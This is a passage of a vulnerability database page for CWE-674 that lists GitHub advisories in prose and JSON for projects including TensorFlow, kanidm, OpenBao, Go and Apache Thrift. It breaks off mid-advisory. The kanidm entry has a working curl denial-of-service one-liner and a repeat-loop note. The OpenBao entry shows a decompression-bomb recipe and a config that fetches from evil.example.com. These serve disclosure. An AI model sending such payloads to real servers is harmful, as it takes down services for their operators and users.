CWE-674
Allowed-with-ReviewUncontrolled Recursion
Abstraction: Class · Status: Draft
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
616 vulnerabilities reference this CWE, most recent first.
GHSA-QW5H-7F53-XRP6
Vulnerability from github – Published: 2021-05-21 14:28 – Updated: 2024-11-13 16:26Impact
The implementation of ParseAttrValue can be tricked into stack overflow due to recursion by giving in a specially crafted input.
Patches
We have patched the issue in GitHub commit e07e1c3d26492c06f078c7e5bf2d138043e199c1.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29615"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-17T21:22:43Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nThe implementation of [`ParseAttrValue`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/framework/attr_value_util.cc#L397-L453) can be tricked into stack overflow due to recursion by giving in a specially crafted input.\n\n### Patches\nWe have patched the issue in GitHub commit [e07e1c3d26492c06f078c7e5bf2d138043e199c1](https://github.com/tensorflow/tensorflow/commit/e07e1c3d26492c06f078c7e5bf2d138043e199c1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.",
"id": "GHSA-qw5h-7f53-xrp6",
"modified": "2024-11-13T16:26:55Z",
"published": "2021-05-21T14:28:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qw5h-7f53-xrp6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29615"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/e07e1c3d26492c06f078c7e5bf2d138043e199c1"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-543.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-741.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-252.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Stack overflow in `ParseAttrValue` with nested tensors"
}
GHSA-R3X5-R85C-GRP5
Vulnerability from github – Published: 2023-02-02 00:30 – Updated: 2023-02-09 21:30In dotCMS 5.x-22.06, it is possible to call the TempResource multiple times, each time requesting the dotCMS server to download a large file. If done repeatedly, this will result in Tomcat request-thread exhaustion and ultimately a denial of any other requests.
{
"affected": [],
"aliases": [
"CVE-2022-37034"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T23:15:00Z",
"severity": "MODERATE"
},
"details": "In dotCMS 5.x-22.06, it is possible to call the TempResource multiple times, each time requesting the dotCMS server to download a large file. If done repeatedly, this will result in Tomcat request-thread exhaustion and ultimately a denial of any other requests.",
"id": "GHSA-r3x5-r85c-grp5",
"modified": "2023-02-09T21:30:29Z",
"published": "2023-02-02T00:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37034"
},
{
"type": "WEB",
"url": "https://www.dotcms.com/security/SI-65"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R5FR-9GMV-JGGH
Vulnerability from github – Published: 2026-05-06 23:38 – Updated: 2026-06-29 15:30Summary
A single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check.
Details
The SCIM filter grammar recurses on ( and not ( with no depth bound.
proto/src/scim_v1/mod.rs:263-433 — peg::parser! { grammar scimfilter() ... }:
// line 281
"not" separator()+ "(" e:parse() ")" { ScimFilter::Not(Box::new(e)) }
// line 293
"(" e:parse() ")" { e }
Both rules re-enter parse() without a depth counter.
proto/src/scim_v1/mod.rs:442-447 — impl FromStr for ScimFilter calls scimfilter::parse(input) directly on the raw string with no length or depth pre-check.
proto/src/scim_v1/mod.rs:80-81 — ScimEntryGetQuery.filter is #[serde_as(as = "Option<DisplayFromStr>")], so deserialising the query struct invokes ScimFilter::from_str on attacker bytes.
Unauthenticated reachability — nine handlers in server/core/src/https/v1_scim.rs (route table at lines 865-1029) take Query<ScimEntryGetQuery> as an argument: /scim/v1/Entry, /scim/v1/Entry/{id}, /scim/v1/Person/{id}, /scim/v1/Application, /scim/v1/Application/{id}, /scim/v1/Class, /scim/v1/Attribute, /scim/v1/Message, /scim/v1/Message/{id}. The SCIM router is merged unconditionally for every server role (server/core/src/https/mod.rs:312).
Axum extracts handler arguments before the handler body runs. The preceding VerifiedClientInformation extractor (server/core/src/https/extractors/mod.rs:16-91) always returns Ok (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.
The existing semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12, server/lib/src/constants/mod.rs:212) is enforced in Filter::from_scim_ro (server/lib/src/filter.rs:786) after the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.
The production daemon (server/daemon/src/main.rs:735-744) uses new_multi_thread() with default 2 MiB worker stacks; hyper's max_buf_size (~400 KiB) is not lowered (server/core/src/https/mod.rs:708-727), so a 12 KB URI is accepted.
An identical unbounded grammar exists in libs/scim_proto/src/filter.rs:112-276 (not network-reachable, but should be fixed in the same patch).
PoC
curl -sk "https://idm.example.com/scim/v1/Application?filter=$(python3 -c 'print("("*3000+"a+pr"+")"*3000)')"
# → curl: (52) Empty reply from server
# → server journal: "fatal runtime error: stack overflow, aborting", SIGABRT
Release-build threshold measured at ~2 000 nesting levels / ~4 KB:
$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
-> survived
parens depth=2000 len=4004
thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
(signal: 6, SIGABRT: process abort signal)
End-to-end against an in-process server via kanidmd_testkit (no authentication performed):
Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056
thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
(signal: 6, SIGABRT: process abort signal)
Impact
Process-wide availability loss; no confidentiality or integrity impact.
- Unauthenticated, default install, no feature flag required.
- Process abort, not task panic. Stack overflow triggers libstd's guard-page handler, which calls
std::process::abort(). tokio's per-taskcatch_unwindisolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated. - Repeatable. One ~12 KB GET per crash; a
while true; do curl ...; doneloop holds the service down indefinitely across supervisor restarts. - The 6 011-byte variant (
depth=3000) fits under the nginx defaultlarge_client_header_bufferslimit of 8 KB, so a typical reverse proxy does not mitigate.
Affected: v1.7.0 through master @ edf50b9da.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "crates.io",
"name": "scim_proto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "crates.io",
"name": "kanidm_proto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46689"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:38:49Z",
"nvd_published_at": "2026-06-10T22:17:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA single unauthenticated `GET` to any `/scim/v1/...` endpoint with a `?filter=` query string of a few thousand nested parentheses (\u2248 4\u201312 KB) drives the recursive-descent PEG parser past the worker thread\u0027s stack guard page. Rust responds to stack overflow with `std::process::abort()` \u2014 the entire `kanidmd` process exits. The parse runs inside axum\u0027s `Query\u003cScimEntryGetQuery\u003e` extractor, before any handler body and therefore before any ACL check.\n\n### Details\n\nThe SCIM filter grammar recurses on `(` and `not (` with no depth bound.\n\n**`proto/src/scim_v1/mod.rs:263-433`** \u2014 `peg::parser! { grammar scimfilter() ... }`:\n\n```rust\n// line 281\n\"not\" separator()+ \"(\" e:parse() \")\" { ScimFilter::Not(Box::new(e)) }\n// line 293\n\"(\" e:parse() \")\" { e }\n```\n\nBoth rules re-enter `parse()` without a depth counter.\n\n**`proto/src/scim_v1/mod.rs:442-447`** \u2014 `impl FromStr for ScimFilter` calls `scimfilter::parse(input)` directly on the raw string with no length or depth pre-check.\n\n**`proto/src/scim_v1/mod.rs:80-81`** \u2014 `ScimEntryGetQuery.filter` is `#[serde_as(as = \"Option\u003cDisplayFromStr\u003e\")]`, so deserialising the query struct invokes `ScimFilter::from_str` on attacker bytes.\n\n**Unauthenticated reachability** \u2014 nine handlers in `server/core/src/https/v1_scim.rs` (route table at lines 865-1029) take `Query\u003cScimEntryGetQuery\u003e` as an argument: `/scim/v1/Entry`, `/scim/v1/Entry/{id}`, `/scim/v1/Person/{id}`, `/scim/v1/Application`, `/scim/v1/Application/{id}`, `/scim/v1/Class`, `/scim/v1/Attribute`, `/scim/v1/Message`, `/scim/v1/Message/{id}`. The SCIM router is merged unconditionally for every server role (`server/core/src/https/mod.rs:312`).\n\nAxum extracts handler arguments before the handler body runs. The preceding `VerifiedClientInformation` extractor (`server/core/src/https/extractors/mod.rs:16-91`) always returns `Ok` (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.\n\nThe existing semantic depth limit (`DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12`, `server/lib/src/constants/mod.rs:212`) is enforced in `Filter::from_scim_ro` (`server/lib/src/filter.rs:786`) **after** the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.\n\nThe production daemon (`server/daemon/src/main.rs:735-744`) uses `new_multi_thread()` with default 2 MiB worker stacks; hyper\u0027s `max_buf_size` (~400 KiB) is not lowered (`server/core/src/https/mod.rs:708-727`), so a 12 KB URI is accepted.\n\nAn identical unbounded grammar exists in `libs/scim_proto/src/filter.rs:112-276` (not network-reachable, but should be fixed in the same patch).\n\n### PoC\n\n```sh\ncurl -sk \"https://idm.example.com/scim/v1/Application?filter=$(python3 -c \u0027print(\"(\"*3000+\"a+pr\"+\")\"*3000)\u0027)\"\n# \u2192 curl: (52) Empty reply from server\n# \u2192 server journal: \"fatal runtime error: stack overflow, aborting\", SIGABRT\n```\n\nRelease-build threshold measured at ~2 000 nesting levels / ~4 KB:\n\n```\n$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture\nparens depth=1500 len=3004\n -\u003e survived\nparens depth=2000 len=4004\n\nthread \u0027audit_scim_filter_nested_parens\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n (signal: 6, SIGABRT: process abort signal)\n```\n\nEnd-to-end against an in-process server via `kanidmd_testkit` (no authentication performed):\n\n```\nTestkit server setup complete - http://localhost:18080/\naudit_scim_dos: sending unauthenticated GET, url len = 12056\n\nthread \u0027...\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n (signal: 6, SIGABRT: process abort signal)\n```\n\n### Impact\n\nProcess-wide availability loss; no confidentiality or integrity impact.\n\n- **Unauthenticated**, default install, no feature flag required.\n- **Process abort, not task panic.** Stack overflow triggers libstd\u0027s guard-page handler, which calls `std::process::abort()`. tokio\u0027s per-task `catch_unwind` isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.\n- **Repeatable.** One ~12 KB GET per crash; a `while true; do curl ...; done` loop holds the service down indefinitely across supervisor restarts.\n- The 6 011-byte variant (`depth=3000`) fits under the nginx default `large_client_header_buffers` limit of 8 KB, so a typical reverse proxy does not mitigate.\n\n**Affected**: v1.7.0 through `master` @ edf50b9da.",
"id": "GHSA-r5fr-9gmv-jggh",
"modified": "2026-06-29T15:30:20Z",
"published": "2026-05-06T23:38:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46689"
},
{
"type": "PACKAGE",
"url": "https://github.com/kanidm/kanidm"
},
{
"type": "WEB",
"url": "https://github.com/kanidm/kanidm/releases/tag/v1.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion"
}
GHSA-R635-G5RF-PCVW
Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-27 15:33IBM i 7.6, 7.5, 7.4, and 7.3 s vulnerable to a denial-of-service attack due to uncontrolled recursion in the Integrated Language Environment (ILE) compiler. An authenticated attacker could exploit this vulnerability by compiling specially crafted source code containing a specific combination of statements.
{
"affected": [],
"aliases": [
"CVE-2026-6936"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T14:17:34Z",
"severity": "MODERATE"
},
"details": "IBM i 7.6, 7.5, 7.4, and 7.3 s vulnerable to a denial-of-service attack due to uncontrolled recursion in the Integrated Language Environment (ILE) compiler. An authenticated attacker could exploit this vulnerability by compiling specially crafted source code containing a specific combination of statements.",
"id": "GHSA-r635-g5rf-pcvw",
"modified": "2026-05-27T15:33:25Z",
"published": "2026-05-27T15:33:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6936"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7272908"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R654-8J96-CRQX
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2025-10-20 18:30Uncontrolled recursion in Reader.Read in compress/gzip before Go 1.17.12 and Go 1.18.4 allows an attacker to cause a panic due to stack exhaustion via an archive containing a large number of concatenated 0-length compressed files.
{
"affected": [],
"aliases": [
"CVE-2022-30631"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-10T20:15:00Z",
"severity": "HIGH"
},
"details": "Uncontrolled recursion in Reader.Read in compress/gzip before Go 1.17.12 and Go 1.18.4 allows an attacker to cause a panic due to stack exhaustion via an archive containing a large number of concatenated 0-length compressed files.",
"id": "GHSA-r654-8j96-crqx",
"modified": "2025-10-20T18:30:29Z",
"published": "2022-08-11T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30631"
},
{
"type": "WEB",
"url": "https://go.dev/cl/417067"
},
{
"type": "WEB",
"url": "https://go.dev/issue/53168"
},
{
"type": "WEB",
"url": "https://go.googlesource.com/go/+/b2b8872c876201eac2d0707276c6999ff3eb185e"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/nqrv9fbR0zE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RQXU752ALW53OJAF5MG3WMR5CCZVLWW6"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0524"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R65V-XGWC-G56J
Vulnerability from github – Published: 2026-04-21 18:24 – Updated: 2026-04-21 18:24Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
- Set up a malicious OCI registry
- Create a decompression bomb binary:
bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary - Package it in a minimal OCI image
- Push to the malicious registry
- Configure victim OpenBao to use this registry:
hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true - Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server
- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Remediation
- Validate
header.Sizeagainst a configurable maximum before opening the output file - Wrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copy - Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260420180337-2b2a901aa9f7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39396"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T18:24:10Z",
"nvd_published_at": "2026-04-21T01:16:06Z",
"severity": "LOW"
},
"details": "### Summary\n\n`ExtractPluginFromImage()` in OpenBao\u0027s OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written.\nAn attacker who controls or compromises the OCI registry referenced in the victim\u0027s configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.\n\nThe SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature.\n\n### Details\n\n#### Root cause\n\n`helper/pluginutil/oci/downloader.go:301`:\n\n```go\nif _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {\n```\n\n`io.Copy()` reads until EOF with no size limit. \nThe tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.\n\n### PoC\n\n1. Set up a malicious OCI registry\n2. Create a decompression bomb binary:\n ```bash\n dd if=/dev/zero bs=1G count=100 \u003e /tmp/bomb-binary\n ```\n3. Package it in a minimal OCI image\n4. Push to the malicious registry\n5. Configure victim OpenBao to use this registry:\n ```hcl\n plugin \"secrets\" \"bomb\" {\n image = \"evil.example.com/plugin\"\n version = \"v1.0.0\"\n binary_name = \"openbao-plugin-secrets-bomb\"\n sha256sum = \"0000000000000000000000000000000000000000000000000000000000000000\"\n }\n plugin_auto_download = true\n ```\n6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -\u003e cause DoS\n\n### Impact\n\n- Denial of Service: Disk exhaustion on the OpenBao server\n- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full\n- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up\n- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded\n\n### Remediation\n\n1. Validate `header.Size` against a configurable maximum before opening the output file\n2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy\n3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)",
"id": "GHSA-r65v-xgwc-g56j",
"modified": "2026-04-21T18:24:10Z",
"published": "2026-04-21T18:24:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39396"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/pull/2941"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/af576af5322c6552a017ad10fd76aa4f40fd021e"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)"
}
GHSA-R676-Q927-78RR
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19In QPDF 8.2.1, in libqpdf/QPDFWriter.cc, QPDFWriter::unparseObject and QPDFWriter::unparseChild have recursive calls for a long time, which allows remote attackers to cause a denial of service via a crafted PDF file.
{
"affected": [],
"aliases": [
"CVE-2018-18020"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-06T14:29:00Z",
"severity": "MODERATE"
},
"details": "In QPDF 8.2.1, in libqpdf/QPDFWriter.cc, QPDFWriter::unparseObject and QPDFWriter::unparseChild have recursive calls for a long time, which allows remote attackers to cause a denial of service via a crafted PDF file.",
"id": "GHSA-r676-q927-78rr",
"modified": "2022-05-13T01:19:31Z",
"published": "2022-05-13T01:19:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18020"
},
{
"type": "WEB",
"url": "https://github.com/qpdf/qpdf/issues/243"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00037.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-R67J-R569-JRWP
Vulnerability from github – Published: 2026-04-28 12:31 – Updated: 2026-05-06 19:56Uncontrolled Recursion vulnerability in Apache Thrift Node.js bindings
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "thrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41636"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:56:53Z",
"nvd_published_at": "2026-04-28T10:16:03Z",
"severity": "HIGH"
},
"details": "Uncontrolled Recursion vulnerability in Apache Thrift Node.js bindings\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue.",
"id": "GHSA-r67j-r569-jrwp",
"modified": "2026-05-06T19:56:53Z",
"published": "2026-04-28T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41636"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/thrift"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/28/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Apache Thrift Node.js bindings vulnerable to Uncontrolled Recursion"
}
GHSA-R7CG-QJJM-XHQQ
Vulnerability from github – Published: 2026-05-05 17:24 – Updated: 2026-05-05 17:24Summary
GraphQL\Language\Parser is a recursive descent parser with no recursion depth limit and no zend.max_allowed_stack_size interaction. Crafted nested queries trigger a SIGSEGV in the PHP runtime, killing the FPM/CLI worker process. Smallest crashing payload is approximately 74 KB.
Affected Component
src/Language/Parser.php-- theParserclass (no recursion depth tracking)src/Language/Lexer.php-- theLexerclass
Severity
HIGH (8.2) -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Integrity is Low because the entire PHP process (FPM worker, CLI process, Swoole worker, RoadRunner worker, etc.) is terminated by SIGSEGV. Every concurrent request handled by the same process is dropped along with the attacker's request, with no error message, no log entry, and no recovery path beyond restart. The 74 KB minimum crashing payload sits well below any common HTTP body size limit, and the failure mode is the worst possible: not catchable, not observable, no diagnostics.
Description
GraphQL\Language\Parser parses GraphQL documents using mutually recursive PHP methods (parseValueLiteral, parseObject, parseObjectField, parseList, parseSelectionSet, parseSelection, parseField, parseTypeReference, parseInlineFragment). The constructor (Parser.php:325) accepts only three options:
// src/Language/Parser.php:64
/**
* @phpstan-type ParserOptions array{
* noLocation?: bool,
* allowLegacySDLEmptyFields?: bool,
* allowLegacySDLImplementsInterfaces?: bool,
* }
*/
There is no maxTokens, no maxDepth, no maxRecursionDepth, no token counter, and no recursion depth counter anywhere in the parser or lexer. PHP recursion is bounded only by the C stack size (typically 8 MB via ulimit -s 8192).
